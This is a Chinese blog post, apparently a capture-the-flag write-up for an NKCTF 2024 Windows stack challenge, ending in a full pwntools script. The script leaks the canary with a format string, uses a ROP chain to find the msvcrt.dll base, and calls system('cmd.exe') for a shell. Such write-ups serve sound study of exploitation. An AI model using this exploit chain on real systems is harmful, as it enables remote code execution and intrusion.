win pwn例题

  • 最近打NKCTF遇到了一个winpwn,在此也是借着这个机会学习了一下
  • 漏洞也很明显,如果是linux直接ret2libc很快就打完了,这里引入一个与其类似的概念,ret2dll

工具学习

参考博客

  1. 运行.\checksec.exe exe文件查看保护
  2. windows上搭建python环境,winpwn,自己打的时候没有用winpwn还是用pwntools,感觉不是很影响
  3. win_server这个还是很重要的,win_server.exe babystack.exe 10009(注意文件路径),之后ipconfig后就可以在本地远程连接

ret2dll

此篇博客已经非常详细

做题遇到的困难

  1. windbg的使用很不习惯,花了很长时间
  2. msvcrt.dll文件中找偏移不知道找谁的,最终确定是找这些,最后执行system(“cmd.exe”)拿到shell
  3. 本地的msvcrt.dll和给的不一样,windbg也没注意,耽误了很多时间,还不会像patchelf一样把dll文件patch到exe上,也还没搜到相应文章
  4. 注意32位传参方式

题目wp

from pwn import *
from pwncli import *
from pwnlib.util.packing import u32
from pwnlib.util.packing import p32
from pwnlib.util.packing import p64
context(os='windows',log_level='debug',arch='i386')
li = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m')  # 彩色打印
p = remote('123.60.25.223',10001)
# p=remote('10.131.134.212',33679)
p.sendlineafter("NKCTF2024", b'%p'*31)
data = p.recvuntil(b'ohhh,no').rstrip(b'ohhh,no')  # 获取末尾数据
canary= int(data[-8:], 16)
print('canary',hex(canary))

puts=0x403F8C
main=0x4014F1
payload=b'a'*0x64+p32(canary)+b'a'*0xc+p32(puts)+p32(main)+p32(0x40922C)

p.sendline(payload)
printf_addr=u32(p.recv(4))
print('printf_addr',hex(printf_addr))
dllbase=printf_addr-0x101767F0
print('dllbase:',hex(dllbase))
system=dllbase+0x10144700 
cmd=dllbase+0x101048C8
payload=b'a'*0x64+p32(canary)+b'a'*0xc+p32(system)+p32(0xdeadbeef)+p32(cmd)
p.sendline(payload)

p.interactive()